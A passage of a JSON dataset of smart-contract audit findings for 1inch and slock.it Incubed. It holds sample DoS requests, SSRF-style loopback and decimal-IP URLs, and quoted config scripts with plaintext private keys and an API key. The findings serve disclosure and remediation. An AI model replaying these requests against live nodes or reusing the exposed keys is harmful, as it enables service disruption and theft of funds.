making amount or taking amount as well as the threshold or in other words the minimum amount of assets the taker is going to be fine receiving. During the fill transaction, an order maker is given the opportunity to update the offer by the means of the _getMakingAmount and _getTakingAmount. A threshold checks are then used in order to make sure that the updated values are within taker s acceptable bounds: limit-order-protocol/contracts/OrderMixin.sol:L222 if (actualMakingAmount * takingAmount < thresholdAmount * actualTakingAmount) revert MakingAmountTooLow(); limit-order-protocol/contracts/OrderMixin.sol:L212 if (actualTakingAmount * makingAmount > thresholdAmount * actualMakingAmount) revert TakingAmountTooHigh(); It is reasonable to assume that if the maker knows the threshold the taker selected, the maker will attempt to update the making or taking amount to maximize profits. While _getMakingAmount and _getTakingAmount do not pass the threshold selected by the taker directly, it is still possible for the maker to obtain this information and act accordingly. A malicious maker could listen to the mempool and wait for a transaction that is meant to fill his order obtaining the threshold value. Maker would then update the state of the contract that responds to the static call of the _getMakingAmount and _getTakingAmount hooks. If the maker is using FlashBots or a similar service, the maker can ensure that the above actions are performed before the transaction that would fill the order. While there is no good way to alleviate this issue given the current design we believe it is important to be aware of this issue and allow the 1inch users to know that some analogy of slippage is still possible even on the orderbook-like system. This will allow them to choose tighter and more secure threshold values. 6 Solidity Utils ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "6.1 ECDSA library has a vulnerability for signature malleability of EIP-2098 compact signatures ", "body": " Resolution Remediated as per the 1inch team in 1inch/solidity-utils@166353b by adding a warning note in the comments of the library code. The 1inch ECDSA library supports several types of signatures and forms in which they could be provided. However, for compact signatures there is a recently found malleability attack vector. Specifically, the issue arises when contracts use transaction replay protection through signature uniqueness (i.e. by marking it as used). While this may not be the case in the scope of other contracts of this audit, this ECDSA library is meant to be a general use library so it should be fixed so as to not mislead others who might use this. For more details and context, find below the advisory notice and fix in the OpenZeppelin s ECDSA library: https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-4h98-2769-gh6h OpenZeppelin/openzeppelin-contracts@d693d89 ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "6.2 Ethereum reimbursements sent to an incorrect address ", "body": " Resolution Remediated as per the 1inch team as of 1inch/solidity-utils@6b1a3df by adding the correct recipient of the refund. 1inch team has written a library called UniERC20 that extends the traditional ERC20 standard to also support eth transfers seamlessly. In the case of the uniTransferFrom function call, the library checks that the msg.value of the transaction is bigger or equal to the amount passed in the function argument. If the msg.value is larger than the amount required, the difference, or extra funds, should be sent to the sender. In the actual implementation Instead of returning the funds to the sender, extra funds are actually sent to the destination. solidity-utils/contracts/libraries/UniERC20.sol:L59-L65 if (msg.value > amount) { // Return remainder if exist unchecked { (bool success, ) = to.call{value: msg.value - amount}(\"\"); // solhint-disable-line avoid-low-level-calls if (!success) revert ETHSendFailed(); Given that this code is packed as a library and allows for easy reusability by the 1inch team and outside developers it is crucial that this logic is written well and well tested. We recommend reconsidering reimbursing the sender when an incorrect amount is being sent because it introduces an easy-to-oversee reentrancy backdoor with call() that is mentioned in issue 6.4. Reverting was a default behavior in similar cases across the rest of the 1inch contracts. If this functionality is required, a fix we could recommend is replacing the to with from. We can also suggest running a fuzzing campaign against this library. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "6.3 ECDSA incorrect size provided for calldata in the static call ", "body": " Resolution Remediated as per the 1inch team in 1inch/solidity-utils@cfdc889 by passing the correct data size. The ECDSA library implements support for IERC1271 interfaces that verify provided signature for the data through the different isValidSignature functions that depend on the type of signature used. However, the library passes an incorrect size for the calldata in the static call for signatures that are of the form (bytes32 r, bytes32 vs). It should be 0xa4 (164 bytes) instead of 0xa5 (165 bytes). solidity-utils/contracts/libraries/ECDSA.sol:L178 if staticcall(gas(), signer, ptr, 0xa5, 0, 0x20) { The impact could vary and depends on the signature verifier. For example, it could be significant if the signature verifier performs a check on the calldatasize for this specific type of signature and reverts on incorrect sizes, thereby having valid signatures return false when passed to isValidSignature. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "6.4 Re-entrancy risk in UniERC20 ", "body": " Resolution Remediated as per the 1inch team in 1inch/solidity-utils@6b1a3df by forwarding a limited amount of gas to guard against complex execution at the target but still allow for smart contract receipt that may require a bit more gas than usual EOA receipts. UniERC20 is a general library for facilitating transfers of any ERC20 or native coin assets. It features gas-efficient code and could be easily integrated into large systems of contract, such as those that are used in this audit 1inch routers and limit order protocol. However, it also utilizes .call(){value:X} method of transferring chain native assets, such as ETH. This introduces a large risk in the form of re-entrancy attacks, so any system implementing this library would have to handle them. While 1inch s projects in the scope of this audit do not seem to have re-entrancy attack vectors, other projects that could be utilizing this library might. Since this is an especially efficient and convenient library, the likelihood that some other project using this suffers and then sufferring a re-entrancy attack is significant. solidity-utils/contracts/libraries/UniERC20.sol:L45 (bool success, ) = to.call{value: amount}(\"\"); // solhint-disable-line avoid-low-level-calls solidity-utils/contracts/libraries/UniERC20.sol:L62 (bool success, ) = to.call{value: msg.value - amount}(\"\"); // solhint-disable-line avoid-low-level-calls Consider instead implementing transfer() or send() methods for transferring chain native assets, such as ETH, instead of performing a .call() ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "6.1 in3-server - amplified DDoS on incubed requests on proof with signature ", "body": " Resolution Mitigated by adding merge_requests/101. The full extent of this fix is outside the scope of this audit. Description It is possible for a client to send a request to each node of the network to request a signature with proof for every other node in the network. This can result in DDoSing the network as there are no costs for the client to request this and client can send the same request to all the nodes in the network, resulting in n^2 requests. Examples Client asks each node for in3_nodeList to get all the signer addresses, this could also be done using NodeRegistry contract Client asks each node for a proof with signature, e.g.: \"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"eth_getTransactionByHash\", \"params\": [\"0xf84cfb78971ebd940d7e4375b077244e93db2c3f88443bb93c561812cfed055c\"], \"in3\": { \"chainId\": \"0x1\", \"verification\": \"proofWithSignature\", \"signatures\":[\"0x784bfa9eb182C3a02DbeB5285e3dBa92d717E07a\", ALL OTHER SIGNERS HERE] All the nodes are now sending requests to each other with signature required which is an expensive computation. This can go on for more transactions (or blocks, or other Eth_ requests) and can result in DDoS of the network. Recommendation Limit the number of signers in proof with signature requests. Also exclude self.signer from the list. This combined with the remediation of issue 6.6 can partially mitigate the attack vector. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.2 BlockProof - Node conviction race condition may trick all but one node into losing funds ", "body": " Resolution Mitigated by: 80bb6ecf by checking if blockhash exists and prevent an overwrite, saving gas Client will blacklist the server if the signature is missing, has a wrong signer or is invalid. 6cc0dbc0 Removing nodes from local available nodes list when the server detects wrong responses Other commits to mitigate the mentioned vulnerable scenarios With the new handling, the client will not call convict immediately (as this could be exploited again). Instead, the client will do the calculation whether it s worth convicting the server before even calling convict. It should be noted that the changes are scattered and modified in the final source code, and this behaviour of IN3-server code is outside the scope of this audit. Description TLDR; One node can force all other nodes to convict a specific malicious signer controlled by the attacker and spend gas on something they are not going to be rewarded for. The attacker loses deposit but all other nodes that try to convict and recreate in the same block will lose the fees less or equal to deposit/2. Another variant forces the same node to recreate the blockheaders multiple times within the same block as the node does not check if it is already convicting/recreating blockheaders. Nodes can request various types of proofs from other nodes. For example, if a node requests a proof when calling one of the eth_getBlock* methods, the in3-server s method handleBlock will be called. The request should contain a list of addresses registered to the NodeRegistry that are requested to sign the blockhash. code/in3-server/src/modules/eth/EthHandler.ts:L105-L112 // handle special jspn-rpc if (request.in3.verification.startsWith('proof')) switch (request.method) { case 'eth_getBlockByNumber': case 'eth_getBlockByHash': case 'eth_getBlockTransactionCountByHash': case 'eth_getBlockTransactionCountByNumber': return handleBlock(this, request) in3-server will subsequently reach out to it s connected blockchain node execute the eth_getBlock* call to get the block data. If the block data is available the in3-server, it will try to collect signatures from the nodes that signature was requested from (request.in3.signatures, collectSignatures()) code/in3-server/src/modules/eth/proof.ts:L237-L243 // create the proof response.in3 = { proof: { type: 'blockProof', signatures: await collectSignatures(handler, request.in3.signatures, [{ blockNumber: toNumber(blockData.number), hash: blockData.hash }], request.in3.verifiedHashes) If the node does not find the address it will throw an exception. Note that if this exception is not caught it will actually allow someone to boot nodes off the network - which is critical. code/in3-server/src/chains/signatures.ts:L58-L60 const config = nodes.nodes.find(_ => _.address.toLowerCase() === adr.toLowerCase()) if (!config) // TODO do we need to throw here or is it ok to simply not deliver the signature? throw new Error('The ' + adr + ' does not exist within the current registered active nodeList!') If the address is valid and existent in the NodeRegistry the in3-node will ask the node to sign the blockhash of the requested blocknumber: code/in3-server/src/chains/signatures.ts:L69-L84 // send the sign-request let response: RPCResponse try { response = (blocksToRequest.length ? await handler.transport.handle(config.url, { id: handler.counter++ || 1, jsonrpc: '2.0', method: 'in3_sign', params: blocksToRequest }) : { result: [] }) as RPCResponse if (response.error) { //throw new Error('Could not get the signature from ' + adr + ' for blocks ' + blocks.map(_ => _.blockNumber).join() + ':' + response.error) logger.error('Could not get the signature from ' + adr + ' for blocks ' + blocks.map(_ => _.blockNumber).join() + ':' + response.error) return null } catch (error) { logger.error(error.toString()) return null For all the signed blockhashes that have been returned the in3-server will subsequently check if one of the nodes provided a wrong blockhash. We note that nodes might: decided to not follow the in_3sign request and just not provide a signed response a node might sign with a different key a node might sign a different blockheader a node might sign a previous blocknumber In all these cases, the node will not be convicted, even though it was able to request other nodes to perform work. If another node signed a wrong blockhash the in3-server will automatically try to convict it. If the block is within the most recent 255 it will directly call convict() on the NodeRegistry (takes less gas). if it is an older block, it will try to recreate the blockchain in the RlockhashRegistry (takes more gas). code/in3-server/src/chains/signatures.ts:L128-L152 const convictSignature: Buffer = keccak(Buffer.concat([bytes32(s.blockHash), address(singingNode.address), toBuffer(s.v, 1), bytes32(s.r), bytes32(s.s)])) if (diffBlocks < 255) { await callContract(handler.config.rpcUrl, nodes.contract, 'convict(uint,bytes32)', [s.block, convictSignature], { privateKey: handler.config.privateKey, gas: 500000, value: 0, confirm: true // we are not waiting for confirmation, since we want to deliver the answer to the client. }) handler.watcher.futureConvicts.push({ convictBlockNumber: latestBlockNumber, signer: singingNode.address, wrongBlockHash: s.blockHash, wrongBlockNumber: s.block, v: s.v, r: s.r, s: s.s, recreationDone: true }) else { await handleRecreation(handler, nodes, singingNode, s, diffBlocks) The recreation and convict is only done if it is profitable for the node. (Note the issue mentioned in issue 6.13) code/in3-server/src/chains/signatures.ts:L209-L213 const costPerBlock = 86412400000000 const blocksMissing = latestSS - s.block const costs = blocksMissing * costPerBlock * 1.25 if (costs > (deposit / 2)) { A malicious node can exploit the hardcoded profit economics and the fact that in3-server implementation will try to auto-convict nodes in the following scenario: malicious node requests a blockproof with an eth_getBlock* call from the victim node (in3-server) for a block that is not in the most recent 256 blocks (to maximize effort for the node). This equals to spending more gas in order to convict the node (costs <= (deposit / 2)). the malicious node prepares the BlockhashRegistry to contain a blockhash that would maximize the gas needed to convict the malicious node (can be calculated offline; must fulfill costs <= (deposit /2). with the blockproof request the malicious node asks the in3-server to get the signature from a specific signer. The signer will also be malicious and is going to sign a wrong blockhash with a valid signature. the malicious signer is going to lose it s deposit but the deposit also incentivizes other nodes to spend gas on the conviction process. The higher the deposit, the more an in3-server is willing to spend on the conviction. In this scenario one malicious node tries to trick another node into convicting a malicious signer while having to spend the maximum amount of gas to make it profitable for the node. The problem is, that the malicious node can ask multiple (or even all other nodes in the registry) to provide a blockproof and ask the malicious signer for a signed blockhash. All nodes will come to the conclusion that the signer returned an invalid hash and will try to convict the node. They will try to recreate the blockchain in the BlockhashRegistry for a barely profitable scenario. Since in3-nodes do not monitor the tx-pool they will not know that other nodes are already trying to convict the node. All nodes are going to spend gas on recreating the same blockchain in the BlockhashRegistry leading to all but the first transaction in the block to lose funds (up to deposit/2 based on the hardcoded costPerBlock) Another variant of the same issue is that nodes do not check if they already convicted another node (or recreated blockheaders). An attacker can therefore force a specific node to convict a malicious node multiple times before the nodes transactions are actually in a block as the nodes does not check if it is already convicting that node. The node might lose gas on the recreation/conviction process multiple times. Recommendation To reduce the impact of multiple nodes trying to update the blockhashRegistry at the same time and avoid nodes losing gas by recreating the same blocks over and over again, the BlockhashRegistry should require that the target blockhash for the blocknumber does not yet exist in the registry (similar to the issue mentioned in https://github.com/ConsenSys/slockit-in3-audit-2019-09/issues/24). ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.3 NodeRegistry Front-running attack on convict() ", "body": " Resolution Blocknumber is removed from convict function, which removes any signal for an attacker in the scenario provided. However, the order of the transactions to convict a wrong signed hash is necessary to prevent any front-running attacks: Convict(_Blockhash) recreate Blockheaders RevealConvict (minimum 2 blocks after convict but as soon as recreateBlockheaders is confirmed) The fixes were introduced in ecf2c6a6 and f4250c9a, although later on NodeRegistry contract was split in two other contracts NodeRegistryLogic and NodeRegistryData and further changes were done in the conviction flow in different commits. Description convict(uint _blockNumber, bytes32 _hash) and revealConvict() are designed to prevent front-running and they do so for the purpose they are designed for. However, if the malicious node, is still sending out the wrong blockhash for the convicted block, anyone seeing the initial convict transaction, can check the convicted blocknumber with the nodes and send his own revealConvict before the original sender. The original sender will be the one updating the block headers recreateBlockheaders(_blockNumber, _blockheaders), and the attacker can just watch for the update headers to perform this attack. Recommendation For the first attack vector, remove the blocknumber from the convict(uint _blockNumber, bytes32 _hash) inputs and just use the hash. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.4 NodeRegistry - URL can be arbitrary dns resolvable names, IP s and even localhost or private subnets ", "body": " Resolution This issue has been addressed with the following commits: 4c93a10f adding 48 hours delay in the server code before they communicate with the newly registered nodes. merge_requests/111 adding a whole new smart contract to the IN3 system, IN3WhiteList.sol, and supporting code in the server. issues/94 To prevent attacker to use nodes as a DoS network, a DNS record verification is discussed to be implemented. It is a design decision to base the Node registry on URLs (DNS resolvable names). This has the implications outlined in this issue and they cannot easily be mitigated. Adding a delay until nodes can be used after registration only delays the problem. Assuming that an entity curates the registry or a whitelist is in place centralizes the system. Adding DNS record verification still allows an owner of a DNS entry to point its name to any IP address they would like it to point to. It certainly makes it harder to add RPC URLs with DNS names that are not in control of the attacker but it also adds a whole lot more complexity to the system (including manual steps performed by the node operator). In the end, the system allows IP based URLs in the registry which cannot be used for DNS validation. Note that the server code changes, and the new smart contract IN3WhiteList.sol are outside the scope of the original audit. We strongly recommend to reduce complexity and audit the final codebase before mainnet deployment. Description As outlined in issue 6.9 the NodeRegistry allows anyone to register nodes with arbitrary URLs. The url is then used by in3-server or clients to connect to other nodes in the system. Signers can only be convicted if they sign wrong blockhashes. However, if they never provide any signatures they can stay in the registry for as long as they want and sabotage the network. The Registry implements an admin functionality that is available for the first year to remove misbehaving nodes (or spam entries) from the Registry. However, this is insufficient as an attacker might just re-register nodes after the minimum timeout they specify or spend some more finneys on registering more nodes. Depending on the eth-price this will be more or less profitable. From an attackers perspective the NodeRegistry is a good source of information for reconnaissance, allows to de-anonymize and profile nodes based on dns entries or netblocks or responses to in3_stats (https://github.com/ConsenSys/slockit-in3-audit-2019-09/issues/49), makes a good list of target for DoS attacks on the system or makes it easy to exploit nodes for certain yet unknown security vulnerabilities. Since nodes and potentially clients (not in scope) do not validate the rpc URL received from the NodeRegistry they will try to connect to whatever is stored in a nodes url entry. code/in3-server/src/chains/signatures.ts:L58-L75 const config = nodes.nodes.find(_ => _.address.toLowerCase() === adr.toLowerCase()) if (!config) // TODO do we need to throw here or is it ok to simply not deliver the signature? throw new Error('The ' + adr + ' does not exist within the current registered active nodeList!') // get cache signatures and remaining blocks that have no signatures const cachedSignatures: Signature[] = [] const blocksToRequest = blocks.filter(b => { const s = signatureCaches.get(b.hash) && false return s ? cachedSignatures.push(s) * 0 : true }) // send the sign-request let response: RPCResponse try { response = (blocksToRequest.length ? await handler.transport.handle(config.url, { id: handler.counter++ || 1, jsonrpc: '2.0', method: 'in3_sign', params: blocksToRequest }) : { result: [] }) as RPCResponse if (response.error) { This allows for a wide range of attacks not limited to: An attacker might register a node with an empty or invalid URL. The in3-server does not validate the URL and therefore will attempt to connect to the invalid URL, spending resources (cpu, file-descriptors, ..) to find out that it is invalid. An attacker might register a node with a URL that is pointing to another node s rpc endpoint and specify weights that suggest that it is capable of service a lot of requests to draw more traffic towards that node in an attempt to cause a DoS situation. An attacker might register a node for a http/https website at any port in an extortion attempt directed to website owners. The incubed network nodes will have to learn themselves that the URL is invalid and they will at least attempt to connect the website once. An attacker might update the node information in the NodeRegistry for a specific node every block, providing a new url (or a slightly different URLs issue 6.9) to avoid client/node URL blacklists. An attacker might provide IP addresses instead of DNS resolvable names with the url in an attempt to draw traffic to targets, avoiding canonicalization and blacklisting features. An attacker might provide a URL that points to private IP netblocks for IPv4 or IPv6 in various formats. Combined with the ability to ask another node to connect to an attacker defined url (via blockproof, signatures[] -> signer_address -> signer.url) this might allow an attacker to enumerate services in the LAN of node operators. An attacker might provide the loopback IPv4, IPv6 or resolvable name as the URL in an attempt to make the node connect to local loopback services (service discovery, bypassing authentication for some local running services - however this is very limited to the requests nodes may execute). URLs may be provided in various formats: resolvable dns names, IPv4, IPv6 and depending on the http handler implementation even in Decimal, Hex or Octal form (i.e. http://2130706433/) A valid DNS resolvable name might point to a localhost or private IP netblock. Since none of the rpc endpoints provide signatures they cannot be convicted or removed (unless the unregisterKey does it within the first year. However, that will not solve the problem that someone can re-register the same URLs over and over again) Recommendation It is a fundamental design decision of the system architecture to allow rpc urls in the Node Registry, therefore this issue can only be partially mitigated unless the system design is reworked. It is therefore suggested to add checks to both the registry contract (coarse validation to avoid adding invalid urls) and node implementations (rigorous validation of URL s and resolved IP addresses) and filter out any potentially harmful destinations. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.5 Malicious clients can use forks or reorgs to convict honest nodes ", "body": " Resolution Default value for past signed blocks is changed to 10 blocks. Slockit plans to use their off-chain channels to notify clients for planned forks. They also looking into using fork oracles in the future releases to detect planned hardforks to mitigate risks. Description In case of reorgs it is possible to have more than 6 blocks in a node that gets replaced by a new longer chain. Also for forks, such as upcoming Istanbul fork, it s common to have some nodes taking some time to update and they will be in the wrong chain for the time being. In both cases, in3-nodes are prone to sign blocks that are considered invalid in the main chain. Malicious nodes can catch these instances and convict the honest users in the main chain to get 50% of their deposits. Recommendation No perfect solution comes to mind at this time. One possible mitigation method for forks could be to disable the network on the time of the fork but this is most certainly going to be a threat to the system itself. ", "labels": ["Consensys", "Major", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.6 in3-server - should protect itself from abusive clients ", "body": " Resolution Slockit implemented their own DOS protection for incubed server in merge_requests/99. The variant of this implementation adds more complexity to the code base. The benchmark and testing of the new DOS protection is not in scope for this audit. The incubed server has now an additional DOS-Protection build in. Here we first estimate a Weight of such a request and add them together for all incoming requests per IP of the client per Minute. Since we estimate the execution, we can prevent a client running DOS-Attacks from the same IP with heavy requests (such as eth_getLogs) Description The in3-node implementation should provide features for client request throttling to avoid that a client can consume most of the nodes resources by causing a lot of resource intensive requests. This is a general problem to the system which is designed to make sure that low resource clients can verify blockchain properties. What this means is that almost all of the client requests are very lightweight. Clients can request nodes to sign data for them. A sign request involves cryptographic operations and a http-rpc request to a back-end blockchain node. The imbalance is clearly visible in the case of blockProofs where a client may request another node to interact with a smart contract (NodeRegistry) and ask other nodes to sign blockhashes. All other nodes will have to get the requested block data from their local blockchain nodes and the incubed node requesting the signatures will have to wait for all responses. The client instead only has to send out that request once and may just leave that tcp connection open. It might even consume more resources from a specific node by requesting the same signatures again and again not even waiting for a response but causing a lot of work on the node that has to collect all the signatures. This combined with unbound requests for signatures or other properties can easily be exploited by a powerful client implementation with a mission to stall the whole incubed network. Recommendation According to the threat model outlines a general DDoS scenario specific to rpcUrls. It discusses that the nodes are themselves responsible for DDoS protection. However, DDoS protection is a multi-layer approach and it is highly unlikely that every node-operator will hide their nodes behind a DDoS CDN like cloudflare. We therefore suggest to also build in strict limitations for clients that can be checked in code. Similar to checkPerformanceLimits which is just checking for some specific it is suggested to implement a multi-layer throttling mechanism that prevents nodes from being abused by single clients. Methods must be designed with (D)DoS scenarios in mind to avoid that third parties are abusing the network for DDoS campaigns or trying to DoS the incubed network. code/in3-server/src/modules/eth/EthHandler.ts:L74-L91 private checkPerformanceLimits(request: RPCRequest) { if (request.method === 'eth_call') { if (!request.params || request.params.length < 2) throw new Error('eth_call must have a transaction and a block as parameters') const tx = request.params as TxRequest if (!tx || (tx.gas && toNumber(tx.gas) > 10000000)) throw new Error('eth_call with a gaslimit > 10M are not allowed') else if (request.method === 'eth_getLogs') { if (!request.params || request.params.length < 1) throw new Error('eth_getLogs must have a filter as parameter') const filter: LogFilter = request.params[0] let toB = filter && filter.toBlock if (toB === 'latest' || toB === 'pending' || !toB) toB = this.watcher && this.watcher.block && this.watcher.block.number let fromB = toB && filter && filter.fromBlock if (fromB === 'earliest') fromB = 1; const range = fromB && (toNumber(toB) - toNumber(fromB)) if (range > (request.in3.verification.startsWith('proof') ? 1000 : 10000)) throw new Error('eth_getLogs for a range of ' + range + ' blocks is not allowed. limits: with proof: 1000, without 10000 ') implement request throttling per client implement caching mechanism for similar requests if it is expected that the same response is to be delivered multiple times implement general performance limits and reject further requests if the node is close to exhausting its resources (soft DoS) make sure the node does not exhaust the systems resources implement throttling per request method design methods to prevent (D)DoS in the first place. Methods that allow a client to send one request that causes a node to perform multiple client controlled requests must be avoided or at least bound and throttled (issue 6.7, https://github.com/ConsenSys/slockit-in3-audit-2019-09/issues/50). ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.7 in3-server - DoS on in3.sign and other requests ", "body": " Resolution Similar to issue 6.1, Mitigated by adding maxBlocksSigned and maxSignatures for requests of any client. The Numbers of signatures a client can ask to fetch is now limited to maxSignatures which defaults to 5 in merge_requests/101. The full extent of this fix is outside the scope of this audit. We have limited the number of block you can ask to sign in the in3_sign-request. The default is 10, because this function is also used for eth_getLogs to provide proof for all events. This limit will also limit the result of logs returned to include only max 10 different blocks. Description It is free for the client to ask the nodes to sign block hashes (and also other requests). in3.sign([{\"blockNumber\": 123}]) Takes an array of objects that will result in multiple requests in the node. This sample request has (at least) two internal requests, one eth_getBlockByNumber and signing the block hash. These requests can be continuously sent out to clients and result in using computation power of the nodes without any expense from the client. Examples Request to get and sign the first 200 blocks: web3.manager.request_blocking(\"in3_sign\", [{'blockNumber':i} for i in range(200)]) Recommendation Limit the number of blocks (input), or do not accept arrays for input. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.8 in3-server - key management Pending", "body": " Resolution The breakdown of the fixes addressed with git.slock.it/PR/13 are as follows: Keys should never be stored or accepted in plaintext format Keys should only be accepted in an encrypted and protected format The private key in code/in3-server/config.json has been removed. The repository still contains private keys at least in the following locations: package.json vscode/launch.json example_docker-compose.yml Note that private keys indexed by a git repository can be restored from the repository history. The following statement has been provided to address this issue: We have removed all examples and usage of plain private keys and replaced them with json-keystore files. Also in the documentation we added warnings on how to deal with keys, especially with hints to the bash history or enviroment A single key should be used for only one purpose. Keys should not be shared. The following statement has been provided to address this issue: This is why we seperated the owner and signer-key. This way you can use a multisig to securly protect the owner-key. The signer-key is used to sign blocks (and convict) and is not able to do anything else (not even changing its own url) The application should support developers in understanding where cryptographic keys are stored within the application as well as in which memory regions they might be accessible for other applications Addressed by wrapping the private key in an object that stores the key in encrypted form and only decrypts it when signing. The key is cleared after usage. The IN3-server still allows raw private keys to be configured. A warning is printed if that is the case. The loaded raw private key is temporarily assigned to a local variable and not explicitly cleared by the method. While we used to keep the unlocked key as part of the config, we have now removed the key from the config and store them in a special signer-function. https://git.slock.it/in3/ts/in3-server/merge_requests/113 Keys should be protected in memory and only decrypted for the duration of time they are actively used. Keys should not be stored with the applications source-code repository see previous remediation note. After unlocking the signer key, we encrypt it again and keep it encrypted only decrypting it when signing. This way the raw private key only exist for a very short time in memory and will be filled with 0 right after. ( https://git.slock.it/in3/ts/in3-server/merge_requests/113/diffs#653b04fa41e35b55181776b9f14620b661cff64c_54_73 ) Use standard libraries for cryptographic operations The following statement has been provided to address this issue We are using ethereumjs-libs. Use the system keystore and API to sign and avoid to store key material at all The following statement has been provided to address this issue We are looking into using different signer-apis, even supporting hardware-modules like HSMs. But this may happen in future releases. The application should store the keys eth-address (util.getAddress()) instead of re-calculating it multiple times from the private key. Fixed by generating the address for a private key once and storing it in a private key wrapper object. Do not leak credentials and key material in debug-mode, to local log-output or external log aggregators. txArgs still contains a field privateKey as outlined in the issue description. However, this privateKey now represents the wrapper object noted in a previous comment which only provides access to the ETH address generated from the raw private key. The following statement has been provided to address this issue: since the private key and the passphrase are actually deleted from the config, logoutputs or even debug will not be able to leak this information. Description Secure and efficient key management is a challenge for any cryptographic system. Incubed nodes for example require an account on the ethereum blockchain to actively participate in the incubed network. The account and therefore a private-key is used to sign transactions on the ethereum blockchain and to provide signed proofs to other in3-nodes. This means that an attacker that is able to discover the keys used by an in3-server by any mechanism may be able to impersonate that node, steal the nodes funds or sign wrong data on behalf of the node which might also lead to a loss of funds. The private key for the in3-server can be specified in a configuration file called config.json residing in the program working dir. Settings from the config.json can be overridden via command-line options. The application keeps configuration parameters available internally in an IN3RPCConfig object and passes this object as an initialization parameter to other objects. The key can either be provided in plaintext as a hex-string starting with 0x or within an ethereum keystore format compatible protected keystore file. Either way it is provided it will be held in plaintext in the object. The application accepts plaintext private keys and the keys are stored unprotected in the applications memory in JavaScript objects. The in3-server might even re-use the nodes private key which may weaken the security provided by the node. The repository leaks a series of presumably test private keys and the default config file already comes with a private key set that might be shared across unvary users that fail to override it. code/in3-server/config.json:L1-L4 \"privateKey\": \"0xc858a0f49ce12df65031ba0eb0b353abc74f93f8ccd43df9682fd2e2293a4db3\", \"rpcUrl\": \"http://rpc-kovan.slock.it\" code/in3-server/package.json:L20-L31 \"docker-run\": \"docker run -p 8500:8500 docker.slock.it/slockit/in3-server:latest --privateKey=0x3858a0f49ce12df65031ba0eb0b353abc74f93f8ccd43df9682fd2e2293a4db3 --chain=0x2a --rpcUrl=https://kovan.infura.io/HVtVmCIHVgqHGUgihfhX --minBlockHeight=6 --registry=0x013b82355a066A31427df3140C5326cdE9c64e3A --persistentFile=false --logging-host=logs7.papertrailapp.com --logging-name=Papertrail --logging-port=30571 --logging-type=winston-papertrail\", \"docker-setup\": \"docker run -p 8500:8500 slockit/in3-server:latest --privateKey=0x3858a0f49ce12df65031ba0eb0b353abc74f93f8ccd43df9682fd2e2293a4db3 --chain=0x2a --rpcUrl=https://kovan.infura.io/HVtVmCIHVgqHGUgihfhX --minBlockHeight=6 --registry=0x013b82355a066A31427df3140C5326cdE9c64e3A --persistentFile=false --autoRegistry-url=https://in3.slock.it/kovan1 --autoRegistry-capabilities-proof=true --autoRegistry-capabilities-multiChain=true --autoRegistry-deposit=1\", \"local\": \"export NODE_ENV=0 && npm run build && node ./js/src/server/server.js --privateKey=0xD231FCF9349A296F555A060A619235F88650BBA795E5907CFD7F5442876250E4 --chain=0x2a --rpcUrl=https://rpc.slock.it/kovan --minBlockHeight=6 --registry=0x27a37a1210df14f7e058393d026e2fb53b7cf8c1 --persistentFile=false\", \"ipfs\": \"docker run -d -p 5001:5001 jbenet/go-ipfs daemon --offline\", \"linkIn3\": \"cd node_modules; rm -rf in3; ln -s ../../in3 in3; cd ..\", \"lint:solium\": \"node node_modules/ethlint/bin/solium.js -d contracts/\", \"lint:solium:fix\": \"node node_modules/ethlint/bin/solium.js -d contracts/ --fix\", \"lint:solhint\": \"node node_modules/solhint/solhint.js \\\"contracts/**/*.sol\\\" -w 0\", \"local-env\": \"export NODE_ENV=0 && npm run build && node ./js/src/server/server.js --privateKey=0x9e53e6933d69a28a737943e227ad013c7489e366f33281d350c77f089d8411a6 --chain=0x111 --rpcUrl=http://localhost:8545 --minBlockHeight=6 --registry=0x31636f91297C14A8f1E7Ac271f17947D6A5cE098 --persistentFile=false --autoRegistry-url=http://127.0.0.1:8500 --autoRegistry-capabilities-proof=true --autoRegistry-capabilities-multiChain=true --autoRegistry-deposit=0\", \"local-env2\": \"export NODE_ENV=0 && npm run build && node ./js/src/server/server.js --privateKey=0xf7db260e6edcdfe396d75f8283aad5aed835815f7d1db4458896310553a8a1a9 --chain=0x111 --rpcUrl=http://localhost:8545 --minBlockHeight=6 --registry=0x31636f91297C14A8f1E7Ac271f17947D6A5cE098 --persistentFile=false --autoRegistry-url=http://127.0.0.1:8501 --autoRegistry-capabilities-proof=true --autoRegistry-capabilities-multiChain=true --autoRegistry-deposit=0\", \"local-env3\": \"export NODE_ENV=0 && npm run build && node ./js/src/server/server.js --privateKey=0xf7db260e6edcdfe396d75f8283aad5aed835815f7d1db4458896310553a8a1a9 --chain=0x5 --rpcUrl=https://rpc.slock.it/goerli --minBlockHeight=6 --registry=0x85613723dB1Bc29f332A37EeF10b61F8a4225c7e --persistentFile=false\", \"local-env4\": \"export NODE_ENV=0 && npm run build && node ./js/src/server/server.js --privateKey=0xf7db260e6edcdfe396d75f8283aad5aed835815f7d1db4458896310553a8a1a9 --chain=0x2a 